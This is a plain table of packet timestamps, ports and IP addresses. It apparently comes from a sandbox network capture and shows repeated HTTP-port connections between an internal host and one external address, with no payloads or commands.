Oct 8, 2024 11:02:48.968873024 CEST	80	62250	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:48.968987942 CEST	80	62250	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:52.979830027 CEST	62251	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:53.156387091 CEST	80	62251	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:53.156481981 CEST	62251	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:53.156673908 CEST	62251	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:53.161386013 CEST	80	62251	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:53.161557913 CEST	80	62251	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:53.162610054 CEST	62252	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:53.167992115 CEST	80	62252	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:53.168087959 CEST	62252	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:53.173146963 CEST	80	62252	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:53.175096035 CEST	62252	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:53.193588972 CEST	62252	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:53.193711042 CEST	62252	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:53.198345900 CEST	80	62252	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:53.198407888 CEST	80	62252	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:57.198698997 CEST	62253	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:57.203797102 CEST	80	62253	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:57.203896046 CEST	62253	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:57.203972101 CEST	62253	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:57.208884954 CEST	80	62253	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:57.209351063 CEST	80	62253	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:57.210105896 CEST	62254	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:57.215049982 CEST	80	62254	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:57.215125084 CEST	62254	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:57.215179920 CEST	62254	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:02:57.220347881 CEST	80	62254	188.241.183.45	192.168.2.6
Oct 8, 2024 11:02:57.220647097 CEST	80	62254	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:01.229247093 CEST	62255	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:01.234306097 CEST	80	62255	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:01.235193968 CEST	62255	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:01.235275984 CEST	62255	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:01.539417028 CEST	62255	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:01.681230068 CEST	80	62255	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:01.681433916 CEST	80	62255	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:01.683087111 CEST	80	62255	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:01.687671900 CEST	62256	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:01.692917109 CEST	80	62256	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:01.693002939 CEST	62256	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:01.696805000 CEST	62256	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:01.698132992 CEST	80	62256	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:01.698182106 CEST	62256	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:01.700979948 CEST	62256	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:01.701693058 CEST	80	62256	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:01.702924967 CEST	80	62256	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:01.705774069 CEST	80	62256	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:05.730051041 CEST	62257	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:05.735197067 CEST	80	62257	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:05.735325098 CEST	62257	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:05.735538006 CEST	62257	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:05.740292072 CEST	80	62257	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:05.740458965 CEST	80	62257	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:05.741695881 CEST	62258	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:05.746563911 CEST	80	62258	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:05.746680021 CEST	62258	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:05.746838093 CEST	62258	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:05.751620054 CEST	80	62258	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:05.751734972 CEST	80	62258	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:09.760999918 CEST	62286	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:09.766259909 CEST	80	62286	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:09.766376972 CEST	62286	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:09.766518116 CEST	62286	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:09.771374941 CEST	80	62286	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:09.771598101 CEST	80	62286	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:09.772245884 CEST	62287	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:09.777307987 CEST	80	62287	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:09.777390003 CEST	62287	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:09.777503967 CEST	62287	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:09.782272100 CEST	80	62287	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:09.782500029 CEST	80	62287	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:13.814388990 CEST	62288	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:13.819458008 CEST	80	62288	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:13.819557905 CEST	62288	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:13.819681883 CEST	62288	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:13.824645042 CEST	80	62288	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:13.824944973 CEST	80	62288	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:13.826003075 CEST	62289	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:13.830993891 CEST	80	62289	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:13.831078053 CEST	62289	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:13.831142902 CEST	62289	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:13.836168051 CEST	80	62289	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:13.837037086 CEST	80	62289	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:17.839881897 CEST	62290	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:17.844736099 CEST	80	62290	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:17.846014023 CEST	62290	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:17.846098900 CEST	62290	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:17.850867033 CEST	80	62290	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:17.851165056 CEST	80	62290	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:17.856283903 CEST	62291	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:17.861192942 CEST	80	62291	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:17.861368895 CEST	62291	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:17.861368895 CEST	62291	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:17.866205931 CEST	80	62291	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:17.866431952 CEST	80	62291	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:21.870786905 CEST	62292	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:21.875585079 CEST	80	62292	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:21.875690937 CEST	62292	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:21.875823975 CEST	62292	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:21.880631924 CEST	80	62292	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:21.880798101 CEST	80	62292	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:21.882119894 CEST	62293	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:21.886919975 CEST	80	62293	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:21.887016058 CEST	62293	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:21.887191057 CEST	62293	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:21.891990900 CEST	80	62293	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:21.892496109 CEST	80	62293	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:25.917361975 CEST	62297	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:25.922148943 CEST	80	62297	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:25.922277927 CEST	62297	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:25.922327042 CEST	62297	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:25.927123070 CEST	80	62297	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:25.927361965 CEST	80	62297	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:25.928363085 CEST	62298	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:25.933212996 CEST	80	62298	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:25.935595036 CEST	62298	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:25.935725927 CEST	62298	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:25.940500021 CEST	80	62298	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:25.940885067 CEST	80	62298	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:29.961530924 CEST	62317	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:29.966304064 CEST	80	62317	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:29.966433048 CEST	62317	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:29.971523046 CEST	80	62317	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:29.971676111 CEST	62317	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:30.031838894 CEST	62317	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:30.031938076 CEST	62317	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:30.034828901 CEST	62318	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:30.036678076 CEST	80	62317	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:30.036732912 CEST	80	62317	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:30.039637089 CEST	80	62318	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:30.040086031 CEST	62318	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:30.042226076 CEST	62318	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:30.045115948 CEST	80	62318	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:30.045689106 CEST	62318	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:30.047044992 CEST	80	62318	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:30.047655106 CEST	62318	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:30.050446033 CEST	80	62318	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:30.052428961 CEST	80	62318	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:34.667705059 CEST	62325	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:34.672637939 CEST	80	62325	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:34.672804117 CEST	62325	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:34.672911882 CEST	62325	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:34.677742958 CEST	80	62325	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:34.677998066 CEST	80	62325	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:34.680433989 CEST	62326	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:34.685344934 CEST	80	62326	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:34.686851025 CEST	62326	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:34.686928988 CEST	62326	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:34.691787958 CEST	80	62326	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:34.691981077 CEST	80	62326	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:38.700870991 CEST	62327	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:38.706135035 CEST	80	62327	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:38.706224918 CEST	62327	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:38.706401110 CEST	62327	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:38.711222887 CEST	80	62327	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:38.711458921 CEST	80	62327	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:38.713620901 CEST	62328	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:38.718579054 CEST	80	62328	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:38.718666077 CEST	62328	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:38.718795061 CEST	62328	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:38.723659039 CEST	80	62328	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:38.724102020 CEST	80	62328	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:42.743686914 CEST	62329	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:42.750745058 CEST	80	62329	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:42.750827074 CEST	62329	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:42.751023054 CEST	62329	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:42.757971048 CEST	80	62329	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:42.758400917 CEST	80	62329	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:42.760466099 CEST	62330	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:42.767199993 CEST	80	62330	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:42.767340899 CEST	62330	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:42.767398119 CEST	62330	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:42.774342060 CEST	80	62330	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:42.774652958 CEST	80	62330	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:46.802853107 CEST	62352	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:46.808001041 CEST	80	62352	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:46.808094978 CEST	62352	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:46.808346987 CEST	62352	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:46.813168049 CEST	80	62352	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:46.813180923 CEST	80	62352	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:46.815010071 CEST	62353	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:46.819890976 CEST	80	62353	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:46.819967031 CEST	62353	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:46.820125103 CEST	62353	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:46.824922085 CEST	80	62353	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:46.824959993 CEST	80	62353	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:50.845453024 CEST	62367	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:50.851366043 CEST	80	62367	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:50.851465940 CEST	62367	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:50.851618052 CEST	62367	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:50.856775999 CEST	80	62367	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:50.857012987 CEST	80	62367	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:50.860575914 CEST	62368	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:50.866666079 CEST	80	62368	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:50.867166996 CEST	62368	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:50.872479916 CEST	80	62368	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:50.872592926 CEST	62368	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:50.872802973 CEST	62368	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:50.872802973 CEST	62368	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:50.877700090 CEST	80	62368	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:50.877727985 CEST	80	62368	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:54.886898994 CEST	62369	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:54.891741991 CEST	80	62369	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:54.891827106 CEST	62369	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:54.891944885 CEST	62369	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:54.896671057 CEST	80	62369	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:54.896802902 CEST	80	62369	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:54.898098946 CEST	62370	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:54.902934074 CEST	80	62370	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:54.903021097 CEST	62370	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:54.903109074 CEST	62370	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:54.908006907 CEST	80	62370	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:54.908195972 CEST	80	62370	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:58.984750986 CEST	62371	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:58.989618063 CEST	80	62371	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:58.991024017 CEST	62371	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:58.991024017 CEST	62371	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:58.995933056 CEST	80	62371	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:58.996295929 CEST	80	62371	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:59.005722046 CEST	62372	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:59.011217117 CEST	80	62372	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:59.011291027 CEST	62372	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:59.011378050 CEST	62372	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:59.016443968 CEST	80	62372	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:59.016522884 CEST	80	62372	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:59.016525984 CEST	62372	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:59.016607046 CEST	62372	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:03:59.021377087 CEST	80	62372	188.241.183.45	192.168.2.6
Oct 8, 2024 11:03:59.021733999 CEST	80	62372	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:03.046051979 CEST	62373	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:03.050960064 CEST	80	62373	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:03.051085949 CEST	62373	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:03.051415920 CEST	62373	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:03.056183100 CEST	80	62373	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:03.056348085 CEST	80	62373	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:03.057945013 CEST	62374	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:03.062715054 CEST	80	62374	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:03.062792063 CEST	62374	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:03.062908888 CEST	62374	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:03.067709923 CEST	80	62374	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:03.068022966 CEST	80	62374	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:07.158662081 CEST	62375	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:07.163507938 CEST	80	62375	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:07.163682938 CEST	62375	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:07.163765907 CEST	62375	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:07.168540955 CEST	80	62375	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:07.168725014 CEST	80	62375	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:07.170476913 CEST	62376	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:07.175417900 CEST	80	62376	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:07.175477982 CEST	62376	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:07.175585985 CEST	62376	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:07.180321932 CEST	80	62376	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:07.180589914 CEST	80	62376	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:11.201250076 CEST	62377	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:11.206079960 CEST	80	62377	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:11.206154108 CEST	62377	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:11.206233025 CEST	62377	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:11.211034060 CEST	80	62377	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:11.211369038 CEST	80	62377	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:11.212757111 CEST	62378	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:11.217554092 CEST	80	62378	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:11.217609882 CEST	62378	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:11.217703104 CEST	62378	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:11.222455978 CEST	80	62378	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:11.223500967 CEST	80	62378	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:15.232490063 CEST	62379	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:15.237525940 CEST	80	62379	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:15.237667084 CEST	62379	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:15.237845898 CEST	62379	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:15.242813110 CEST	80	62379	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:15.243350029 CEST	80	62379	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:15.245043993 CEST	62380	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:15.250166893 CEST	80	62380	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:15.250257969 CEST	62380	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:15.250338078 CEST	62380	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:15.255434036 CEST	80	62380	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:15.255536079 CEST	80	62380	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:19.280330896 CEST	62381	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:19.285136938 CEST	80	62381	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:19.285212994 CEST	62381	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:19.285397053 CEST	62381	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:19.290174007 CEST	80	62381	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:19.290206909 CEST	80	62381	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:19.292757034 CEST	62382	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:19.297573090 CEST	80	62382	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:19.297638893 CEST	62382	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:19.297791004 CEST	62382	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:19.302573919 CEST	80	62382	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:19.302622080 CEST	80	62382	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:23.434814930 CEST	62383	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:23.439714909 CEST	80	62383	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:23.439791918 CEST	62383	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:23.439932108 CEST	62383	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:23.444794893 CEST	80	62383	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:23.444830894 CEST	80	62383	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:23.447530031 CEST	62384	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:23.452395916 CEST	80	62384	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:23.452461004 CEST	62384	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:23.452800989 CEST	62384	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:23.457588911 CEST	80	62384	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:23.457603931 CEST	80	62384	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:23.457642078 CEST	62384	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:23.457742929 CEST	62384	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:23.462960958 CEST	80	62384	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:23.462985992 CEST	80	62384	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:27.482454062 CEST	62387	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:27.487500906 CEST	80	62387	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:27.487575054 CEST	62387	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:27.487709999 CEST	62387	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:27.492449045 CEST	80	62387	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:27.492731094 CEST	80	62387	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:27.494091988 CEST	62388	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:27.498946905 CEST	80	62388	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:27.499022007 CEST	62388	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:27.499104977 CEST	62388	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:27.503914118 CEST	80	62388	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:27.504045010 CEST	80	62388	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:31.512937069 CEST	62389	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:31.517919064 CEST	80	62389	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:31.521071911 CEST	62389	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:31.521341085 CEST	62389	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:31.526118994 CEST	80	62389	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:31.526177883 CEST	80	62389	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:31.527420998 CEST	62390	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:31.532198906 CEST	80	62390	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:31.535413027 CEST	62390	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:31.535413027 CEST	62390	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:31.540210009 CEST	80	62390	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:31.540474892 CEST	80	62390	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:35.543083906 CEST	62391	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:35.549705029 CEST	80	62391	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:35.549834967 CEST	62391	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:35.550025940 CEST	62391	80	192.168.2.6	188.241.183.45
